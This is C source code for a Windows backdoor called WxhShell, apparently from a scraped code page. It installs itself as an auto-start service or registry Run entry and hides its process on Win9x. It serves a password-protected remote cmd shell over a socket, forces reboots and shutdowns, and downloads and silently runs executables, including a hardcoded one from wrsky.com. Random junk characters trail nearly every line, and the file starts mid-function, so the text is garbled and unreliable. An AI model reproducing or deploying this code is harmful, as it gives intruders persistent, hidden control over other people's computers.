    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nVyb B~.=  
    else { H V   
    closesocket(wsh); |+`hSA  
    ExitThread(0); MB"?^~Sm  
    } R?&S]?H  
    break; .=@M>TZM  
    } q}\\p  
  // 获取shell & vLX  
  case 's': { @#Xzk?+  
    CmdShell(wsh); @Qc['V)  
    closesocket(wsh); &aF_y_f\  
    ExitThread(0); 0U/:Tpyr  
    break; ?ST}0F00}  
  } ]-PF?8  
  // 退出 09%eaoW  
  case 'x': { G0]n4"~+?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ I?;%  
    CloseIt(wsh); z ~VA#8>  
    break; o$-8V:)6d  
    } BEI/OGp  
  // 离开 mML^kgy\N  
  case 'q': { SpkVV/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s)M2Z3>+  
    closesocket(wsh); xd .I5  
    WSACleanup(); ~y|%D;  
    exit(1); M3t_!HP}!  
    break; EhD|\WLx!  
        } $&e(V6A@  
  } }zobIfIF  
  } HRb_ZJz  
H|TzD "2N  
  // 提示信息 FQ-(#[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %#] T.g  
} YwF6/JA0^  
  } 3,F/i+@  
zEhy0LLm  
  return; -y\N9  
} ~<Lf@yu-{  
Qrt8O7&('  
// shell模块句柄 \YKh'|04  
int CmdShell(SOCKET sock) _L=vK=,  
{ hx2C<;s4  
STARTUPINFO si; *xl7;s  
ZeroMemory(&si,sizeof(si)); R_ 1C+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }agl:~C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .y0]( h  
PROCESS_INFORMATION ProcessInfo; Ffxk] o&%c  
char cmdline[]="cmd"; ,m"ztu-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z~,.l  
  return 0; apMYBbC  
} NF1D8uI  
a:| 4q  
// 自身启动模式 dH/t|.%  
int StartFromService(void) 6m.Ku13;  
{ )4`Ml*7x  
typedef struct Qr<%rU^{.  
{ V%0.%/<#5  
  DWORD ExitStatus; (O-)uC  
  DWORD PebBaseAddress; 28)TXRr-  
  DWORD AffinityMask; .3U[@*b(  
  DWORD BasePriority; *M|\B|A.  
  ULONG UniqueProcessId; uv-W/p  
  ULONG InheritedFromUniqueProcessId; rqFs[1wr>R  
}   PROCESS_BASIC_INFORMATION; ^i8I 1@ =  
Ad,r(0a LZ  
PROCNTQSIP NtQueryInformationProcess; pNqf2CnnT  
Ds G *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fkz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PD}R7[".>  
YDNqWP7s  
  HANDLE             hProcess; ).]m@g:ew  
  PROCESS_BASIC_INFORMATION pbi; gZjOlp  
r$#G%FMv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g& "(- :  
  if(NULL == hInst ) return 0; -/-6Td1JY>  
zkp Apj].  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =_'cG:=)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~^^ey17   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?:?4rIZ<  
H{f_:z{{  
  if (!NtQueryInformationProcess) return 0; ' 4~5ez|:  
+^J-'7Vt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mU=6"A0 U  
  if(!hProcess) return 0; eCp|QSXE  
xplo Fw~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (J*w./  
gFT~\3j p=  
  CloseHandle(hProcess); ^@Qi&g`lr?  
m"G N^V7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;1.>"zX(  
if(hProcess==NULL) return 0; z}1xy+  
Uxemlp%%*  
HMODULE hMod; %;Z bQ9  
char procName[255]; X[Ek'=}  
unsigned long cbNeeded; iw fp'  
TJXraQK-=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uk:.2%S2  
olMO+-USP  
  CloseHandle(hProcess); #Q3PzDfj  
+^kxFQ(:  
if(strstr(procName,"services")) return 1; // 以服务启动 $a^isd4  
&ZE\@Vc  
  return 0; // 注册表启动 >J}n@MZ  
} S7kT3zB  
2 1~7{#  
// 主模块 cHL]y0>  
int StartWxhshell(LPSTR lpCmdLine) }[z<iij4  
{ [tqO}D  
  SOCKET wsl; s$Zq/l$1x  
BOOL val=TRUE; 2Nn1-wdhb  
  int port=0; fhV0S>*<  
  struct sockaddr_in door; m`$>:B  
ch>Vv"G>  
  if(wscfg.ws_autoins) Install(); 6B''9V:s  
yIIETE  
port=atoi(lpCmdLine); 4C1FPrh  
_E6} XNS  
if(port<=0) port=wscfg.ws_port; _;:rkC fj  
p08kZ  
  WSADATA data; ~pevU`}Uqc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VkpHzr[k  
]iDJ*!I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rQEi/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5!AV!A_Jp  
  door.sin_family = AF_INET; *J_iXu|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); voV:H[RD9  
  door.sin_port = htons(port); G*\abL  
C.>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "#twY|wW  
closesocket(wsl); Taf n:Nw}  
return 1; 9k:W1wgH1  
} @8nLQh^  
#7]Jz.S  
  if(listen(wsl,2) == INVALID_SOCKET) { z&6_}{2,]  
closesocket(wsl);  k,:W]KD  
return 1; jr=9.=jI8k  
} !Y ,7%  
  Wxhshell(wsl); 4>d4g\Z0L  
  WSACleanup(); jH< #)R  
n9B5D:.G  
return 0; '^UHY[mX8  
6KMO*v  
} }bb,Iib  
JOJ.79CT  
// 以NT服务方式启动 ?9`j1[0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C?\(?%B  
{ V$?6%\M^*  
DWORD   status = 0; F7DA~G!  
  DWORD   specificError = 0xfffffff; KN}#8.'>3  
'H5 30Y\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ("8Hku?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?()*"+N(ck  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NM{)liP ;8  
  serviceStatus.dwWin32ExitCode     = 0; ,b*?7R  
  serviceStatus.dwServiceSpecificExitCode = 0; cYA:k  
  serviceStatus.dwCheckPoint       = 0; bf_ > ?F^  
  serviceStatus.dwWaitHint       = 0; Fi i(dmn  
76l. {TXF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i!a!qE.1  
  if (hServiceStatusHandle==0) return; Z[#8F&QV!m  
"*bLFORkq'  
status = GetLastError(); &W45.2  
  if (status!=NO_ERROR) L^JU{\C  
{ dla_uXtM6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C m:AU;  
    serviceStatus.dwCheckPoint       = 0; y\??cjWb]  
    serviceStatus.dwWaitHint       = 0; }b456J  
    serviceStatus.dwWin32ExitCode     = status; $MR1 *_\V  
    serviceStatus.dwServiceSpecificExitCode = specificError; "S;4hO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); evyjHcCx  
    return; "yu{b]AU  
  } SoziFI  
2+&;jgBP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %r^tZ;; l  
  serviceStatus.dwCheckPoint       = 0; JLd%rM\m  
  serviceStatus.dwWaitHint       = 0; G#%Sokkb'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;>PHkJQ  
} \l!+l  
/dCsZA  
// 处理NT服务事件,比如:启动、停止 <V^o.4mOg>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nvR%Ub x  
{ %Xc,l Y1?  
switch(fdwControl) f&vMv.  
{ tR!C8:u  
case SERVICE_CONTROL_STOP: z};|.N}  
  serviceStatus.dwWin32ExitCode = 0; U6-47m0%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v.RA{a 9  
  serviceStatus.dwCheckPoint   = 0; 0Z2XVq~T$  
  serviceStatus.dwWaitHint     = 0; |sGJum&=  
  { Uh0g !zzp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aVR!~hvFs  
  } yy5|8L  
  return; k~ )CJ6}  
case SERVICE_CONTROL_PAUSE: y(DT ^>0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X@kgc&`0  
  break; M[qhy.  
case SERVICE_CONTROL_CONTINUE: ? l~qb]._  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E:qh}wY  
  break; V?OTP&+J%  
case SERVICE_CONTROL_INTERROGATE: nReIi;pi  
  break; Kb ]}p  
}; |OLXb+ 7X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "EpH02{i  
} }k.yLcXM  
4V9BmVS|Th  
// 标准应用程序主函数 iY>P7Uvvz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (c0L@ 8L  
{ \dQc!)&C9  
%f<>Kwr`2  
// 获取操作系统版本 53hX%{3  
OsIsNt=GetOsVer(); f@`|2wG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4M%|N  
.$s']' =  
  // 从命令行安装 ;HCK iHC  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^U?Ac=  
m$C1Ea-wnT  
  // 下载执行文件 0to`=;JI  
if(wscfg.ws_downexe) { 8 AW}7.<5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]-t>F  
  WinExec(wscfg.ws_filenam,SW_HIDE); )@9Eq|jMC  
} vw>(JCR  
>&\.{ aj  
if(!OsIsNt) { ekY)?$v3  
// 如果时win9x,隐藏进程并且设置为注册表启动 CA|l| t^  
HideProc(); 5`3 x(=b  
StartWxhshell(lpCmdLine); HT/!+#W .  
} Pek[j)g}  
else <b'*GBw$  
  if(StartFromService()) jvv=  
  // 以服务方式启动 t;Z9p7rk  
  StartServiceCtrlDispatcher(DispatchTable); =?W7OV^BE  
else 4Y'Ne2M{  
  // 普通方式启动 &~;M16XM,e  
  StartWxhshell(lpCmdLine); _N:$|O#  
p5qfv>E8)  
return 0; 0,-]O=   
} &*o4~6pQ#  
-J=6)  
^O<v'\!z-  
IG|u;PH<  
=========================================== WL(Y1>|j  
=p5]r:9W  
D5xQ  
UUDbOxD^w  
Z796;qk  
\^0>h`[  
" "c} en[  
LK4NNZf7  
#include <stdio.h> 4pMp@ b  
#include <string.h> 3=U#v<  
#include <windows.h> DZmVm['l  
#include <winsock2.h> ZD]{HxGL!  
#include <winsvc.h> #/Ob_~-?j  
#include <urlmon.h> *.eeiSi{  
SFh<>J^ 0a  
#pragma comment (lib, "Ws2_32.lib") A",}Ikh='`  
#pragma comment (lib, "urlmon.lib") y$nI?:d  
]#DCO8Vk  
#define MAX_USER   100 // 最大客户端连接数 q{}5wM  
#define BUF_SOCK   200 // sock buffer FO(QsR=\s  
#define KEY_BUFF   255 // 输入 buffer zOA~<fhT  
T~$Eh6 D  
#define REBOOT     0   // 重启 :FU?vh$)  
#define SHUTDOWN   1   // 关机 MCTJ^g"D  
LN (\B:wAY  
#define DEF_PORT   5000 // 监听端口 ^w%%$9=:r  
,_H H8[&  
#define REG_LEN     16   // 注册表键长度 IhK SwT  
#define SVC_LEN     80   // NT服务名长度 OcWKK!A  
Lp"OXJ*es  
// 从dll定义API .7 )oWd!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JFc, f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ud(0}[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DazoY&AWE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iku*\,6W  
rSt5 @f?  
// wxhshell配置信息 CG@Fn\J  
struct WSCFG { ceJ#>Rj  
  int ws_port;         // 监听端口 XXX y*/P  
  char ws_passstr[REG_LEN]; // 口令 l]D $QT3  
  int ws_autoins;       // 安装标记, 1=yes 0=no &+(D< U  
  char ws_regname[REG_LEN]; // 注册表键名 {hOS0).(w7  
  char ws_svcname[REG_LEN]; // 服务名 6ERMn"[_w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nz3+yxv1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I+twI&GS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XM+.Hel  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,6MJW#~]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +1yi{!j1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0+qC_ISns  
ZY7-.  
}; ;{H Dz$  
4Zu1G#(zP  
// default Wxhshell configuration _kRc"MaB  
struct WSCFG wscfg={DEF_PORT, FXY>o>K%h  
    "xuhuanlingzhe", gCsN\z  
    1, Q[#8ErUY  
    "Wxhshell", /kyO,g$9  
    "Wxhshell", Z2g<"M  
            "WxhShell Service", f^hJAZ  
    "Wrsky Windows CmdShell Service", |uz<)  
    "Please Input Your Password: ", #r"|%nOfY  
  1, 1E||ft-1i*  
  "http://www.wrsky.com/wxhshell.exe", b'SP,}s5"  
  "Wxhshell.exe" 3mYW]  
    }; ;CS[Ja>e  
(O(TFE5^  
// 消息定义模块 RFS} !_t+|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H[s+.&^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KC; o   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #6#n4`%ER  
char *msg_ws_ext="\n\rExit."; r{d@74  
char *msg_ws_end="\n\rQuit."; *) B \M>  
char *msg_ws_boot="\n\rReboot..."; ECM#J28D  
char *msg_ws_poff="\n\rShutdown..."; A)!W VT&2A  
char *msg_ws_down="\n\rSave to "; WzR)R9x]  
1Zp/EYWa{  
char *msg_ws_err="\n\rErr!"; 2 KHT!ik  
char *msg_ws_ok="\n\rOK!"; :ln| n6X  
OW=3t#"7Kp  
char ExeFile[MAX_PATH]; D9P,[:"  
int nUser = 0; IFr"IOr'l  
HANDLE handles[MAX_USER]; MIkp4A  
int OsIsNt; `EMGrw_  
?&,6Y'"  
SERVICE_STATUS       serviceStatus; z<!A;.iD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qHe H/e%`V  
1TA!9cz0Z  
// 函数声明 5QXU"kWH  
int Install(void); r9bAbE bI  
int Uninstall(void); uA =%EEZ  
int DownloadFile(char *sURL, SOCKET wsh); (>u1O V  
int Boot(int flag); IMdp"  
void HideProc(void); C^'r>0  
int GetOsVer(void); K\B!tk  
int Wxhshell(SOCKET wsl); M^HYkXn[  
void TalkWithClient(void *cs); &-^*D%9  
int CmdShell(SOCKET sock); B[YyA  
int StartFromService(void); 7z,  $  
int StartWxhshell(LPSTR lpCmdLine); 3l`"(5  
sVP\EF8PY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =bJ$>Djp  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  Jn|<G  
n{<@-6  
// 数据结构和表定义 S{2;PaK  
SERVICE_TABLE_ENTRY DispatchTable[] = /o6ido  
{ 4%qmwt*p  
{wscfg.ws_svcname, NTServiceMain}, 7|dm"%@  
{NULL, NULL} x~Z7p)D_<  
}; mM/#(Ghl  
O{byMV{Ou  
// 自我安装 |p+FIr+  
int Install(void) 7yg {0a  
{ ,*lns.|n  
  char svExeFile[MAX_PATH]; V#b*:E.cA  
  HKEY key; \j)c?1*$  
  strcpy(svExeFile,ExeFile); #<&@-D8  
&e).l<B  
// 如果是win9x系统,修改注册表设为自启动 d@*dbECG  
if(!OsIsNt) { AZNo%!)o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B$JPE7h@[P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  FO!0TyQ  
  RegCloseKey(key); Dqwd=$2%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r:0RvWif  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }mZCQJ#`  
  RegCloseKey(key); J'=s25OWU  
  return 0; MMaS  
    } *Z.{1  
  } RmKbnS $*q  
} a>8] +@  
else { :Zq?V`+M  
E)I&? <g  
// 如果是NT以上系统,安装为系统服务 [.$%ti*!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MGw XZ7?E  
if (schSCManager!=0) g_tEUaiK  
{ 5$Kv%U  
  SC_HANDLE schService = CreateService ZZ!6O/M  
  ( loq2+(  
  schSCManager, vft7-|8T  
  wscfg.ws_svcname, MB>4Y]rtU  
  wscfg.ws_svcdisp, #X!seQ7a  
  SERVICE_ALL_ACCESS, zKYN5|17  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !.@:t`w  
  SERVICE_AUTO_START, i+I.>L/S  
  SERVICE_ERROR_NORMAL, G6Wa0Z  
  svExeFile, 5 8U[IGs(  
  NULL, w[QC  
  NULL, 9ucoQ@  
  NULL, n^G[N-\3  
  NULL, #>5T,[{?j  
  NULL t?weD{O  
  ); Gh{9nM_\"  
  if (schService!=0) Vn/FW?d7  
  { #f=41d%  
  CloseServiceHandle(schService); B~< bc  
  CloseServiceHandle(schSCManager); !]7L9TGn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gK *=T  
  strcat(svExeFile,wscfg.ws_svcname); 3<a|_(K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |w_l~xYV)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6(A"5B=\  
  RegCloseKey(key); efbJ2C  
  return 0; q8e]{sT'!  
    } ?LvxEQ-g  
  } +H? XqSC  
  CloseServiceHandle(schSCManager); K7qR  
} 1F2(MKOo!  
} {ueDwnZ  
+rrA>~  
return 1; YZ->ep}  
} jR3mV  
#N97  
// 自我卸载 uD4W@*PYr  
int Uninstall(void) \/ Zo*/  
{ 6LT.ng  
  HKEY key; 2XjH1  
j3 @Q  
if(!OsIsNt) { T+5H2]yy)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W{}M${6&  
  RegDeleteValue(key,wscfg.ws_regname); ?*QL;[n1  
  RegCloseKey(key); sa"!ckh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [F27i#'I]  
  RegDeleteValue(key,wscfg.ws_regname); $D*Yhv!/  
  RegCloseKey(key); 3XUie;*`  
  return 0; 7u%OYt D E  
  } @[ '?AsO  
} E,A9+OKxJ  
} `7 Nk;  
else { 4)snt3k  
ge{%B~x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BDi+ *8  
if (schSCManager!=0) ~\O,#j`_  
{ 5*y6{7FLp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3HndE~_C&  
  if (schService!=0) y(**F8>?xE  
  { #6 $WuIG  
  if(DeleteService(schService)!=0) { Gkdxw uRw  
  CloseServiceHandle(schService); 5lE9UoG[Q  
  CloseServiceHandle(schSCManager); 3e;ux6  
  return 0; ]rO/IuB  
  } XE:bYzH  
  CloseServiceHandle(schService); =A/$[POr  
  } _E^ !, Wz  
  CloseServiceHandle(schSCManager); pG$l   
} rWuqlx#  
} uX&Tn1Kg  
%/K;!'7  
return 1; vPu {xy  
} iB{l:  
,LDdL  
// 从指定url下载文件 [g lhru=+  
int DownloadFile(char *sURL, SOCKET wsh) *iVv(xXgN  
{ 6"o@d8>v  
  HRESULT hr; p xQh;w  
char seps[]= "/"; +tv"j;z  
char *token; 1F[W~@jW  
char *file; 8ao>]5Rs3  
char myURL[MAX_PATH]; ue!wo-|#G  
char myFILE[MAX_PATH]; -lI6!a^  
2TX.%%Ze  
strcpy(myURL,sURL);  BbNl:`  
  token=strtok(myURL,seps); fSm|anuKZe  
  while(token!=NULL) ju/#V}N  
  { b5UIX Kim  
    file=token; ^A t,x  
  token=strtok(NULL,seps); J<ZG&m362p  
  } G -RE  
m/1;os5+8  
GetCurrentDirectory(MAX_PATH,myFILE); !4fT<V (  
strcat(myFILE, "\\"); !;&{Q^}  
strcat(myFILE, file); O['5/:-  
  send(wsh,myFILE,strlen(myFILE),0); zWq&HBs  
send(wsh,"...",3,0); >L88`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c8qwsp  
  if(hr==S_OK) ?~rz'Pu~  
return 0; K55]W2I9  
else C +S>;1  
return 1; .OvH<%g!.  
95BRZ!ts  
} {'q(a4  
j{H,{x  
// 系统电源模块 t;)`+K#1:  
int Boot(int flag) E>x,$w<?  
{ JcI~8;Z@Z~  
  HANDLE hToken; k(3FT%p  
  TOKEN_PRIVILEGES tkp; t p3 !6I6  
@" BkLF  
  if(OsIsNt) { |Ht~o(]&&/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]*pro|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q `^5<  
    tkp.PrivilegeCount = 1; FKkL%:?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vo]$[Cp|4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]s^Pw>/`  
if(flag==REBOOT) { HT=-mwa_]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #P-T4 R  
  return 0; [[vbw)u  
} OW1\@CC-69  
else { WxF0LhM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hG lRf_{  
  return 0; #(Ezt% ^  
} )+ 12r6W  
  } DeR C_ [  
  else { 5TVA1  
if(flag==REBOOT) { $Rv (v%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8z'_dfP=5  
  return 0; qgZN&7Nn:  
} hYU4%"X  
else { YV/JZc f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p& +w  
  return 0; E3,Nc`'m9  
} VW *d*!  
} E|hW{oX3  
&{H LYxh   
return 1; `{W>Dy  
} @}iY(-V  
Q[.HoqWK  
// win9x进程隐藏模块 =@0/.oSD  
void HideProc(void) .3< sv  
{ Pvu*Y0_p  
2vx1M6a)L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $ jgEB+  
  if ( hKernel != NULL ) 29AWg(9?aS  
  { +'QE-#%{=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8:)itYE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f%5 s8)  
    FreeLibrary(hKernel); e95@4f^K2  
  } VLs%;|`5D  
\S`|7JYW  
return; B_#U|10et  
} ^Y- S"Ks  
?wYvBFRn7"  
// 获取操作系统版本 \rY<DxtOq  
int GetOsVer(void) :~{x'`czJ  
{ bf1EMai"  
  OSVERSIONINFO winfo; PcK;L(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (n3MbVi3LU  
  GetVersionEx(&winfo); j9]H~:g$d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z;d]=PT  
  return 1; QvjOOc@k~n  
  else yi$Jk}w  
  return 0; >,s.!vpK  
} 1feS/l$  
@Ap~Wok  
// 客户端句柄模块 'k(aZ"  
int Wxhshell(SOCKET wsl) q]>m#yk   
{ $MB /j6#j  
  SOCKET wsh; UOAL7  
  struct sockaddr_in client; X9oxni#  
  DWORD myID; +9d]([Lx  
A,'JmF$d  
  while(nUser<MAX_USER) ;&v~tD7  
{ ^jxV  
  int nSize=sizeof(client); ~Dz`O"X3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q1?09  
  if(wsh==INVALID_SOCKET) return 1; h8me.=S&  
\6z_ ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s#*T(pY  
if(handles[nUser]==0) leSR2os  
  closesocket(wsh); v;m}<3@'  
else 7xr@$-U  
  nUser++; vq&u19iP  
  } FJl_2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \uT y\KA  
ohPCYt  
  return 0; q!+&|F  
} d5O_~x f&  
8Q2qroT  
// 关闭 socket ~p0M|  
void CloseIt(SOCKET wsh) R<GnPN:c  
{ ]gHi5]\NC  
closesocket(wsh); q;<=MO/  
nUser--; F}Kkhs {  
ExitThread(0); vm y?8E6+  
} a\BV%'Zqg  
l,n V*Z  
// 客户端请求句柄 1ae,s{|  
void TalkWithClient(void *cs) zj9)vr`7  
{ Xbp~cn  
8UahoNrSt  
  SOCKET wsh=(SOCKET)cs; ~Os1ir.  
  char pwd[SVC_LEN]; |{a`,%mw  
  char cmd[KEY_BUFF]; >m-VBo  
char chr[1]; m\hzQ9  
int i,j; L~u@n24  
WE|-zo  
  while (nUser < MAX_USER) { 'q_^28rK  
|\W9$V  
if(wscfg.ws_passstr) { yD-L:)@"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &=-ZNWNo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c\\'x\J7  
  //ZeroMemory(pwd,KEY_BUFF); *49lM;  
      i=0; | pA  
  while(i<SVC_LEN) { 6(5YvT  
&*4C{N  
  // 设置超时 4N- T=Ig  
  fd_set FdRead; Hido[  
  struct timeval TimeOut; Zr%,F[j?  
  FD_ZERO(&FdRead); TJY  [s-  
  FD_SET(wsh,&FdRead); 'Cv>V"X: `  
  TimeOut.tv_sec=8; Q2L>P<87T  
  TimeOut.tv_usec=0; J:!m49fF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z{N~AaY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q|}%6ztv-  
P~H?[ ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DQ86(4e*g#  
  pwd=chr[0]; 1#D&cx6  
  if(chr[0]==0xd || chr[0]==0xa) { $:i%\7=  
  pwd=0; $q iY)RE  
  break; l[AQyR1+/  
  } @|jLw($Ly  
  i++; D\ ;(BB  
    } vo]!IY  
I+VL~'VlS  
  // 如果是非法用户,关闭 socket y$Rr,]L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +'ZJ]  
} j^V r!y  
+~x'1*A_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sT*D]J 2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g"dq;H  
sgGXj7  
while(1) { L*QX21@wC  
L2,.af6+  
  ZeroMemory(cmd,KEY_BUFF); b5@sG^  
cUH. ^_a  
      // 自动支持客户端 telnet标准   :< d.  
  j=0; o _G,Ph!7  
  while(j<KEY_BUFF) { J2BCaAwEP,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C+m%_6<  
  cmd[j]=chr[0]; (\8~W*ej"  
  if(chr[0]==0xa || chr[0]==0xd) { R[ #vFQ  
  cmd[j]=0; XY h)59oM%  
  break; ){I0  
  } <l.l6okp  
  j++; ms]r1x"  
    } VL?sfG0  
X7g@.Oy`  
  // 下载文件 2A95vC'u>|  
  if(strstr(cmd,"http://")) { LJc"T)>$`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -`8pahI  
  if(DownloadFile(cmd,wsh)) \}n\cUy-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vH?rln  
  else 28! ke  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [pRRBMho  
  } JE *d-  
  else { x##0s5Qn  
MtD0e@  
    switch(cmd[0]) { Vm*E^ v  
  KbSE=3  
  // 帮助 \:m1{+l  
  case '?': { L+X:M/)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `6:B0-r  
